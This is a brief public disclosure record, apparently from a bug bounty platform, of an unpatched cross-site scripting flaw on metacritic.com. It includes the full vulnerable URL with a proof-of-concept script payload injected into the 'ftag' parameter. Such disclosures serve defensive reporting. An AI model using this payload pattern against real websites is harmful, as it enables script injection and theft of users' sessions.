metacritic.com XSS vulnerability

Vulnerable URL: http://www.metacritic.com/game/pc/counter-strike-source?ftag=";alert'OPENBUGBOUNTY';// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1533 VIP website status:| Yes...